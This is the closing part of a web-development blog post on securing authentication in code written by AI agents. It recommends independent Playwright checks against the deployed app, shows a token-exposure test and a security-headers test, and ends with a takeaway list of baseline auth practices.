&lt;p&gt;As a reader put it: &lt;strong&gt;a rule tells the agent what to do; a check tells you whether it did.&lt;/strong&gt; So write the core of the baseline as checks that:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Run against the deployed app&lt;/strong&gt;, not just in unit tests. Many failures only exist there: a reverse proxy or CDN stripping your security headers, a production config that turns off the &lt;code&gt;Secure&lt;/code&gt; flag, a CSRF middleware that exists in the code but isn't mounted, a cache storing authenticated responses.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Live outside the agent's reach&lt;/strong&gt;: a separate repository, or a CI job with its own permissions that the agent can't edit. A folder next to the app code doesn't count.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Four checks give you a lot of coverage:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Log in, then try to read the session token from page JavaScript.&lt;/strong&gt; It must fail.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Reuse a refresh token after it has been rotated.&lt;/strong&gt; It must be refused, and the session family revoked.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Send a form post without the CSRF token.&lt;/strong&gt; It must be refused.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Request a page and read the response headers.&lt;/strong&gt; CSP, HSTS and &lt;code&gt;nosniff&lt;/code&gt; must be there. This is the one that catches a proxy stripping headers: it only shows up on the deployed app, never in the diff.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Here are the first and the last one with Playwright:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// security-checks/auth-baseline.spec.ts, in a repo the coding agent can't modify&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;test&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;expect&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;@playwright/test&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;logInWithCheckAccount&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;./helpers&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;session token is not readable from page JavaScript&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="nx"&gt;page&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;logInWithCheckAccount&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;page&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// dedicated test account, credentials from CI secrets&lt;/span&gt;

  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;readableFromScript&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;page&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;evaluate&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cookie&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stringify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;localStorage&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stringify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;sessionStorage&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
  &lt;span class="p"&gt;]);&lt;/span&gt;

  &lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;value&lt;/span&gt; &lt;span class="k"&gt;of&lt;/span&gt; &lt;span class="nx"&gt;readableFromScript&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nf"&gt;expect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;not&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;toMatch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sr"&gt;/access_token|refresh_token|eyJ/&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// "eyJ" starts every JWT&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;security headers survive the proxy&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="nx"&gt;request&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;/&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// baseURL points at the deployed app&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;headers&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; &lt;span class="c1"&gt;// Playwright lowercases header names&lt;/span&gt;

  &lt;span class="nf"&gt;expect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;content-security-policy&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]).&lt;/span&gt;&lt;span class="nf"&gt;toBeDefined&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="nf"&gt;expect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;content-security-policy&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]).&lt;/span&gt;&lt;span class="nx"&gt;not&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;toContain&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;unsafe-inline&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nf"&gt;expect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;content-security-policy&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]).&lt;/span&gt;&lt;span class="nf"&gt;toContain&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;frame-ancestors&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nf"&gt;expect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;strict-transport-security&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]).&lt;/span&gt;&lt;span class="nf"&gt;toContain&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;max-age=&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nf"&gt;expect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;x-content-type-options&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]).&lt;/span&gt;&lt;span class="nf"&gt;toBe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;nosniff&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A few practical rules:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Run them after every deploy and on a schedule&lt;/strong&gt;, so configuration drift that never went through a PR still gets caught.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Use staging and a dedicated test account.&lt;/strong&gt; Don't fire refresh-reuse or rate-limit checks at real users' accounts in production.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;A failing check blocks the release or pages someone.&lt;/strong&gt; Changes to the checks are reviewed by a human, never by the agent whose work they verify.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The tests the agent writes are your first layer. These checks are the layer it can't negotiate with.&lt;/p&gt;




&lt;h2&gt;
  
  
  Takeaway
&lt;/h2&gt;

&lt;p&gt;AI agents follow the requirements you give them. Leave security out of the prompt and you get the version from the average tutorial. Put it in the spec and you get secure code with the same effort.&lt;/p&gt;

&lt;p&gt;So:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Know the baseline&lt;/strong&gt;: HttpOnly cookies, short tokens with rotation, asymmetric signing, 2FA, Argon2id, CSRF, rate limiting, CSP.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Treat sign-up and password reset as auth endpoints&lt;/strong&gt;: no enumeration, their own rate limits, allowlisted fields.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Write it down once&lt;/strong&gt; in your agent's instruction file.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Make the agent ask&lt;/strong&gt; before deciding on auth, and &lt;strong&gt;attack its own code&lt;/strong&gt; before it's done.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Verify with independent checks&lt;/strong&gt; against the deployed app, kept where the agent can't soften them.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The fastest way to build software in 2026 is with an AI agent. Making it secure is still on you, through the specs you write and the checks you run.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Update: the sign-up section was added after a great comment from a reader &lt;a class="mentioned-user" href="https://dev.to/elijahbrown"&gt;@elijahbrown&lt;/a&gt; . Thanks for pointing it out!&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Update 2: the section on independent checks against the deployed app, including the security-headers check, was added after a great suggestion from onedroid.ai on LinkedIn. Thanks!&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;I'm Diogo Soares, a Staff AI Engineer building AI-powered products. If this was useful, let's connect on &lt;a href="https://www.linkedin.com/in/diogoschmidtsoares" rel="noopener noreferrer"&gt;LinkedIn&lt;/a&gt; or check out &lt;a href="https://diogosoares.dev" rel="noopener noreferrer"&gt;diogosoares.dev&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>ai</category>
      <category>webdev</category>
      <category>authentication</category>
    </item>
  </channel>
</rss>
